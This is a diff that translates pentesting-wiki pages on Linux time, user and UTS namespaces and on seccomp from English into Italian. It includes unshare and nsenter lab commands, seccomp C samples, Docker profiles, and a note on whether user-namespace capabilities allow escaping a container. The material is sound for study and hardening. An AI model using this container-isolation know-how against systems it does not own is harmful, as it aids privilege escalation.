- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### Find all Time namespaces
### Trova tutti i namespace di tempo
```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Time namespace
### Entra all'interno di un Time namespace
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,102 +2,87 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically.
Un user namespace è una funzionalità del kernel Linux che **fornisce isolamento delle mappature degli ID utente e gruppo**, consentendo a ciascun user namespace di avere il **proprio insieme di ID utente e gruppo**. Questo isolamento consente ai processi in esecuzione in diversi user namespace di **avere privilegi e proprietà diversi**, anche se condividono gli stessi ID utente e gruppo numericamente.
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system.
Gli user namespace sono particolarmente utili nella containerizzazione, dove ogni container dovrebbe avere il proprio insieme indipendente di ID utente e gruppo, consentendo una migliore sicurezza e isolamento tra i container e il sistema host.
### How it works:
### Come funziona:
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**.
2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace.
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**.
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace.
1. Quando viene creato un nuovo user namespace, **inizia con un insieme vuoto di mappature degli ID utente e gruppo**. Ciò significa che qualsiasi processo in esecuzione nel nuovo user namespace **non avrà inizialmente privilegi al di fuori del namespace**.
2. Le mappature degli ID possono essere stabilite tra gli ID utente e gruppo nel nuovo namespace e quelli nel namespace genitore (o host). Questo **consente ai processi nel nuovo namespace di avere privilegi e proprietà corrispondenti agli ID utente e gruppo nel namespace genitore**. Tuttavia, le mappature degli ID possono essere limitate a intervalli e sottoinsiemi specifici di ID, consentendo un controllo dettagliato sui privilegi concessi ai processi nel nuovo namespace.
3. All'interno di un user namespace, **i processi possono avere pieni privilegi di root (UID 0) per operazioni all'interno del namespace**, pur avendo privilegi limitati al di fuori del namespace. Questo consente **ai container di funzionare con capacità simili a quelle di root all'interno del proprio namespace senza avere pieni privilegi di root sul sistema host**.
4. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()` o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWUSER`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare le mappature degli ID utente e gruppo associate a quel namespace.
## Lab:
## Laboratorio:
### Create different Namespaces
### Crea diversi Namespace
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Per utilizzare lo user namespace, il demone Docker deve essere avviato con **`--userns-remap=default`** (In ubuntu 14.04, questo può essere fatto modificando `/etc/default/docker` e poi eseguendo `sudo service docker restart`)
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
### &#x20;Check which namespace is your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
It's possible to check the user map from the docker container with:
È possibile controllare la mappa degli utenti dal container docker con:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
Or from the host with:
O dal host con:
```bash
cat /proc/<pid>/uid_map
```
### Find all User namespaces
### Trova tutti i namespace utente
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a User namespace
### Entra all'interno di un namespace utente
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/user`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`).
### Create new User namespace (with mappings)
### Crea un nuovo namespace utente (con mappature)
```bash
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
```
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### Recupero delle Capacità
### Recovering Capabilities
Nel caso dei namespace utente, **quando viene creato un nuovo namespace utente, il processo che entra nel namespace riceve un insieme completo di capacità all'interno di quel namespace**. Queste capacità consentono al processo di eseguire operazioni privilegiate come **montare** **filesystem**, creare dispositivi o cambiare la proprietà dei file, ma **solo nel contesto del proprio namespace utente**.
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**.
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
Ad esempio, quando hai la capacità `CAP_SYS_ADMIN` all'interno di un namespace utente, puoi eseguire operazioni che normalmente richiedono questa capacità, come montare filesystem, ma solo nel contesto del tuo namespace utente. Qualsiasi operazione eseguita con questa capacità non influenzerà il sistema host o altri namespace.
> [!WARNING]
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container.
> Pertanto, anche se ottenere un nuovo processo all'interno di un nuovo namespace utente **ti restituirà tutte le capacità** (CapEff: 000001ffffffffff), in realtà puoi **utilizzare solo quelle relative al namespace** (montaggio ad esempio) ma non tutte. Quindi, questo da solo non è sufficiente per sfuggire a un contenitore Docker.
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,77 +2,67 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname.
Un namespace UTS (UNIX Time-Sharing System) è una funzionalità del kernel Linux che fornisce **isolamento di due identificatori di sistema**: il **nome host** e il **nome di dominio NIS** (Network Information Service). Questo isolamento consente a ciascun namespace UTS di avere il **proprio nome host e nome di dominio NIS** indipendenti, il che è particolarmente utile negli scenari di containerizzazione in cui ogni container dovrebbe apparire come un sistema separato con il proprio nome host.
### How it works:
### Come funziona:
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces.
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace.
1. Quando viene creato un nuovo namespace UTS, inizia con una **copia del nome host e del nome di dominio NIS dal suo namespace genitore**. Ciò significa che, al momento della creazione, il nuovo namespace **condivide gli stessi identificatori del suo genitore**. Tuttavia, eventuali modifiche successive al nome host o al nome di dominio NIS all'interno del namespace non influenzeranno altri namespace.
2. I processi all'interno di un namespace UTS **possono cambiare il nome host e il nome di dominio NIS** utilizzando le chiamate di sistema `sethostname()` e `setdomainname()`, rispettivamente. Queste modifiche sono locali al namespace e non influenzano altri namespace o il sistema host.
3. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()` o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWUTS`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare il nome host e il nome di dominio NIS associati a quel namespace.
## Lab:
## Laboratorio:
### Create different Namespaces
### Crea diversi Namespace
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### Find all UTS namespaces
### Trova tutti i namespace UTS
```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an UTS namespace
### Entra in un namespace UTS
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
**Seccomp**, che sta per Secure Computing mode, è una funzionalità di sicurezza del **kernel Linux progettata per filtrare le chiamate di sistema**. Limita i processi a un insieme ristretto di chiamate di sistema (`exit()`, `sigreturn()`, `read()` e `write()` per i descrittori di file già aperti). Se un processo tenta di chiamare qualsiasi altra cosa, viene terminato dal kernel utilizzando SIGKILL o SIGSYS. Questo meccanismo non virtualizza le risorse ma isola il processo da esse.
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
Ci sono due modi per attivare seccomp: attraverso la chiamata di sistema `prctl(2)` con `PR_SET_SECCOMP`, o per i kernel Linux 3.17 e superiori, la chiamata di sistema `seccomp(2)`. Il metodo più vecchio di abilitare seccomp scrivendo in `/proc/self/seccomp` è stato deprecato a favore di `prctl()`.
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
Un miglioramento, **seccomp-bpf**, aggiunge la capacità di filtrare le chiamate di sistema con una politica personalizzabile, utilizzando regole Berkeley Packet Filter (BPF). Questa estensione è sfruttata da software come OpenSSH, vsftpd e i browser Chrome/Chromium su Chrome OS e Linux per un filtraggio delle syscall flessibile ed efficiente, offrendo un'alternativa a systrace ora non supportato per Linux.
### **Original/Strict Mode**
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
### **Modalità Originale/Stratta**
In questa modalità Seccomp **consente solo le syscall** `exit()`, `sigreturn()`, `read()` e `write()` per i descrittori di file già aperti. Se viene effettuata qualsiasi altra syscall, il processo viene terminato utilizzando SIGKILL.
```c:seccomp_strict.c
#include <fcntl.h>
#include <stdio.h>
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";
int output = open("output.txt", O_WRONLY);
const char *val = "test";
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
printf("You will not see this message--the process will be killed first\n");
}
```
### Seccomp-bpf
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
Questa modalità consente **il filtraggio delle chiamate di sistema utilizzando una politica configurabile** implementata tramite regole di Berkeley Packet Filter.
```c:seccomp_bpf.c
#include <seccomp.h>
#include <unistd.h>
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
void main(void) {
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
}
```
## Seccomp in Docker
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
You can run a docker container with a **different seccomp** policy with:
**Seccomp-bpf** è supportato da **Docker** per limitare le **syscalls** dai container, riducendo efficacemente la superficie di attacco. Puoi trovare le **syscalls bloccate** per **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) e il **profilo seccomp di default** può essere trovato qui [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
Puoi eseguire un container docker con una **politica seccomp** **diversa** con:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\
In the following example the **syscalls** of `uname` are discovered:
Se vuoi, ad esempio, **vietare** a un container di eseguire alcune **syscall** come `uname`, puoi scaricare il profilo predefinito da [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) e semplicemente **rimuovere la stringa `uname` dalla lista**.\
Se vuoi assicurarti che **alcun binario non funzioni all'interno di un container docker**, puoi usare strace per elencare le syscall che il binario sta utilizzando e poi vietarle.\
Nell'esempio seguente vengono scoperte le **syscall** di `uname`:
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
> [!NOTE]
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs
> Se stai usando **Docker solo per avviare un'applicazione**, puoi **profilare** con **`strace`** e **consentire solo le syscalls** di cui ha bisogno
### Example Seccomp policy
### Esempio di politica Seccomp
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
To illustrate Seccomp feature, lets create a Seccomp profile disabling “chmod” system call as below.
[Esempio da qui](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
Per illustrare la funzionalità Seccomp, creiamo un profilo Seccomp che disabilita la chiamata di sistema “chmod” come di seguito.
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
}
```
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
Nel profilo sopra, abbiamo impostato l'azione predefinita su "allow" e creato una lista nera per disabilitare "chmod". Per essere più sicuri, possiamo impostare l'azione predefinita su drop e creare una lista bianca per abilitare selettivamente le chiamate di sistema.\
